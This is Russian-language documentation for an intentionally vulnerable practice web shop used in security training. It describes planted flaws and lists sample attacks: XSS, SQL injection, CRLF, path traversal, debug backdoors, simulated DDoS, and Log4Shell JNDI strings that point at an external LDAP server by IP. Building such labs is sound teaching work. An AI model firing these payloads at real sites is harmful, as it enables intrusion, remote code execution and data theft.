Тестовый стенд кибербезопасности
Данный проект представляет собой тестовый стенд для обучения и практики навыков кибербезопасности. Стенд имитирует веб-приложение интернет-магазина "ЦифроМаркет" с намеренно внедренными уязвимостями для отработки различных типов атак.
Важно! Данный стенд предназначен исключительно для образовательных целей. Использование представленных техник на реальных веб-сайтах без разрешения владельцев является незаконным.
О проекте
Тестовый стенд имитирует веб-сервис с различными уязвимостями, которые позволяют изучить и отработать следующие типы атак:
Базовые атаки (для новичков):
- XSS (Cross-Site Scripting)
- SQL Injection
- CSRF (Cross-Site Request Forgery)
- CRLF (Carriage Return Line Feed) Injection
- Path Traversal
- MITM (Man-in-the-Middle) симуляция
- Cookie Tampering / Bypass
Продвинутые атаки:
- Brute Force атаки
- Dead Link Bypass
- Backdoor Access
- DDoS (Distributed Denial of Service)
- Log4Shell (CVE-2021-44228)
- Wayback Machine эксплуатация
- Terminal/Command Injection
Стенд разработан таким образом, что атаки образуют цепочки: успешная атака одного типа может предоставить информацию, необходимую для проведения следующей атаки. Это позволяет смоделировать реальные сценарии многоступенчатого взлома.
Типы атак
Тестовый стенд поддерживает различные типы атак, разделенные на категории по уровню сложности:
Базовые атаки
Эти атаки подходят для изучения основ кибербезопасности и не требуют глубоких технических знаний.
XSS (Cross-Site Scripting) Легко
XSS-атака позволяет внедрить вредоносный JavaScript-код, который будет выполнен в браузере жертвы.
Что можно сделать:
- Украсть cookies пользователя
- Перенаправить пользователя на фишинговый сайт
- Выполнить действия от имени пользователя
- Показать поддельные формы для кражи данных
Уязвимые компоненты на стенде:
- Форма поиска товаров - в shop.php
- Форма комментариев - на страницах товаров
- Профиль пользователя - в настройках имени
- Форма контактов - в contact.php
Простой пример для начинающих:
В поле поиска введите: <script>alert('XSS работает!')</script>
SQL Injection Легко
SQL-инъекция позволяет манипулировать запросами к базе данных, получая доступ к данным, которые должны быть защищены.
Что можно сделать:
- Войти в систему без знания пароля
- Получить список всех пользователей
- Узнать структуру базы данных
- Извлечь пароли администраторов
Уязвимые компоненты на стенде:
- Форма входа - login.php (поля username и password)
- Поиск товаров - search.php
- Фильтр категорий - shop.php
Простой пример для начинающих:
В поле "Логин" введите: admin' --
В поле "Пароль": любой текст
CSRF (Cross-Site Request Forgery) Средне
CSRF-атака заставляет аутентифицированного пользователя выполнить нежелательное действие от своего имени.
Что можно сделать:
- Изменить пароль пользователя
- Добавить товары в корзину
- Изменить настройки профиля
- Выполнить покупки от имени пользователя
Уязвимые компоненты на стенде:
- Изменение пароля - в профиле пользователя
- Добавление в корзину - на страницах товаров
- Редактирование профиля - profile.php
CRLF Injection Средне
CRLF-инъекция позволяет манипулировать заголовками HTTP-ответа, внедряя символы возврата каретки (CR) и перевода строки (LF).
Что можно сделать:
- Установить собственные cookies
- Перенаправить пользователя на другой сайт
- Внедрить XSS через заголовки
- Разделить HTTP-ответ на части
Уязвимые компоненты на стенде:
- Поиск категорий - в contact.php
- Редирект после входа - login.php
Простой пример:
В поиске введите: test%0D%0ASet-Cookie: hacked=1
Path Traversal Средне
Path Traversal атака позволяет получить доступ к файлам, которые находятся за пределами корневой директории веб-сервера.
Что можно сделать:
- Прочитать конфигурационные файлы
- Получить пароли из файлов
- Узнать структуру сервера
- Найти backup файлы
Уязвимые компоненты на стенде:
- Просмотр файлов - в contact.php (демо-форма)
- Загрузка изображений - в админ-панели
Простой пример:
В поле файла введите: ../../../etc/passwd
MITM (Man-in-the-Middle) Средне
Стенд предоставляет симуляцию атаки "человек посередине", которая демонстрирует перехват и модификацию данных.
Что можно сделать:
- Перехватить логины и пароли
- Изменить данные платежей
- Заменить загружаемые файлы
- Украсть сессионные токены
Уязвимые компоненты на стенде:
- Незащищенная передача данных - формы без HTTPS
- Отсутствие проверки сертификатов
Cookie Tampering / Bypass Легко
Атака манипуляции cookie позволяет модифицировать или подделывать cookies для обхода аутентификации.
Что можно сделать:
- Войти под чужой учетной записью
- Повысить свои привилегии до администратора
- Обойти ограничения доступа
- Зафиксировать сессию пользователя
Уязвимые компоненты на стенде:
- Сессионные cookie - во всех формах входа
- Cookie роли пользователя - в профиле
- Cookie "запомнить меня" - при входе
Продвинутые атаки
Эти атаки требуют более глубоких знаний в области кибербезопасности и предназначены для опытных пользователей.
Brute Force атаки Средне
Brute Force - это метод подбора паролей путем проверки всех возможных комбинаций.
Что можно сделать:
- Подобрать пароли к учетным записям
- Найти слабые пароли пользователей
- Автоматизировать процесс взлома
- Обойти слабую защиту от брутфорса
Особенности на стенде:
- Защита отключена - для демонстрации атак
- API для брутфорса - в login.php
- Веб-терминал - terminal.php с инструментами
- Готовые скрипты - автоматические атаки
Как попробовать:
- Откройте терминал (terminal.php)
- Используйте команду:
python -login admin -attack password -slowar slowar.txt ktk_brute.py
- Или откройте консоль браузера и скопируйте готовый код с login.php
Dead Link Bypass Сложно
Dead Link Bypass использует неправильную обработку несуществующих страниц для доступа к скрытым ресурсам.
Что можно сделать:
- Получить доступ к удаленным админ-панелям
- Найти backup файлы
- Обнаружить скрытые конфигурации
- Получить доступ к Git репозиториям
Уязвимые компоненты на стенде:
- 404 обработчик - 404-bypass.php
- Старые ссылки - nonexistent-page.php, deleted-file.php
- Wayback Machine - wayback.php показывает мертвые ссылки
Как попробовать:
- Откройте wayback.php
- Введите "ktk-web.ru" для поиска
- Найдите архивные снимки с "DEAD LINKS"
- Нажмите "Попробовать Dead Link Bypass"
Backdoor Access Сложно
Backdoor - это скрытые способы доступа к системе, оставленные разработчиками для отладки.
Что можно сделать:
- Получить список всех пользователей
- Узнать конфигурацию системы
- Получить доступ к PHP информации
- Обойти все системы авторизации
Скрытые backdoor на стенде:
- ?debug=show_users - показать всех пользователей
- ?debug=show_config - показать конфигурацию
- ?debug=phpinfo - показать информацию PHP
Как найти:
- Откройте terminal.php
- Используйте команду:
nmap --backdoor ktk-web.ru
- Или попробуйте URL:
shop.php?debug=show_users
DDoS (Distributed Denial of Service) Сложно
DDoS атака перегружает сервер большим количеством запросов, делая сайт недоступным.
Что происходит:
- Сайт становится недоступным (ошибка 503)
- Страницы перестают загружаться
- Сервер не может обработать запросы
- Пользователи не могут зайти на сайт
Как запустить на стенде:
- Откройте terminal.php
- Введите команду:
attack start
- Для мощной атаки:
attack boost
- Попробуйте зайти на contact.php - он должен быть недоступен
- Остановить:
attack stop
Заметка: Это симуляция настоящей DDoS атаки. В реальности такие атаки используют тысячи компьютеров.
Log4Shell (CVE-2021-44228) Сложно
Log4Shell - это критическая уязвимость в библиотеке логирования Log4j, которая позволяет выполнять произвольный код.
Что можно сделать:
- Выполнить программы на сервере (calc.exe, cmd.exe)
- Получить полный контроль над сервером
- Загрузить вредоносное ПО
- Украсть все данные с сервера
Уязвимые места на стенде:
- Форма контактов - contact.php (поля имени, темы, сообщения)
- User-Agent заголовок - автоматически проверяется
Магические payload'ы:
${jndi:ldap://151.236.218.228:1389/Log4Calc} - запускает калькулятор
${jndi:ldap://151.236.218.228:1389/Log4cmd} - открывает командную строку
${jndi:ldap://151.236.218.228:1389/Log4explorer} - открывает проводник
Как попробовать:
- Откройте contact.php
- В поле "Имя" вставьте:
${jndi:ldap://151.236.218.228:1389/Log4Calc}
- Заполните остальные поля и отправьте
- Должен запуститься калькулятор Windows!
Wayback Machine эксплуатация Средне
Использование архивных снимков сайтов для поиска старых уязвимостей и забытых файлов.
Что можно найти:
- Старые админ-панели
- Забытые backup файлы
- Удаленные конфигурации
- Старые API ключи
Как использовать:
- Откройте wayback.php
- Введите "ktk-web.ru" для поиска
- Изучите календарь архивных снимков
- Обратите внимание на красные месяцы (с Dead Links)
- Кликните на снимки с предупреждениями
Terminal Access / Command Injection Сложно
Веб-терминал предоставляет доступ к хакерским инструментам и симуляции команд Linux.
Доступные инструменты:
- Сканеры CVE - для поиска уязвимостей
- Брутфорс инструменты - для подбора паролей
- Nmap сканер - для поиска backdoor'ов
- DDoS инструменты - для атак на отказ
Основные команды:
help - показать все доступные команды
ls - показать файлы в директории
cat README.md - прочитать документацию
python cve-2021-44228.py - запустить CVE эксплойт
nmap --backdoor ktk-web.ru - найти backdoor'ы
attack start - начать DDoS атаку
Как получить доступ:
- Откройте terminal.php прямо по ссылке
- Или найдите ссылку "Terminal" на других страницах
- Введите
help для списка команд
Как использовать стенд
Тестовый стенд разработан для пошагового прохождения различных сценариев атак. Каждый сценарий представляет собой последовательность действий, которые необходимо выполнить для достижения цели.
Общий алгоритм работы со стендом:
- Выберите интересующий тип атаки в разделе Сценарии атак
- Ознакомьтесь с описанием уязвимости и целью атаки
- Следуйте инструкциям, выполняя последовательность действий
- Для каждого шага сценария проверяйте результат и получайте информацию для следующего шага
- После успешного прохождения всех шагов, вы получите подтверждение успешности атаки
Рекомендуемая последовательность изучения:
Для новичков:
- XSS (поиск товаров)
- SQL Injection (форма входа)
- Cookie Tampering
- Path Traversal
Средний уровень:
- CSRF атаки
- CRLF Injection
- Brute Force
- Wayback Machine
Продвинутый уровень:
- Dead Link Bypass
- Backdoor Access
- Log4Shell
- DDoS + Terminal
Совет: Начните с более простых атак и постепенно переходите к более сложным сценариям. Многие атаки можно комбинировать для создания цепочек взлома.
Меры безопасности
Тестовый стенд содержит намеренно внедренные уязвимости и должен использоваться только в образовательных целях. Для безопасного использования рекомендуется:
- Запускать стенд в изолированной среде (локальный компьютер, виртуальная машина)
- Не использовать реальные учетные данные или конфиденциальную информацию
- Убедиться, что стенд не доступен из внешней сети
- После завершения обучения удалить или отключить стенд
- Никогда не тестировать изученные техники на реальных сайтах без разрешения
Легальные способы практики:
- Данный стенд и другие образовательные платформы
- Bug Bounty программы (с разрешением компаний)
- Собственные веб-приложения
- Специализированные тренировочные платформы
Предупреждение! Использование техник, представленных на стенде, для атаки на реальные веб-сайты без разрешения владельцев является незаконным и может привести к уголовной ответственности.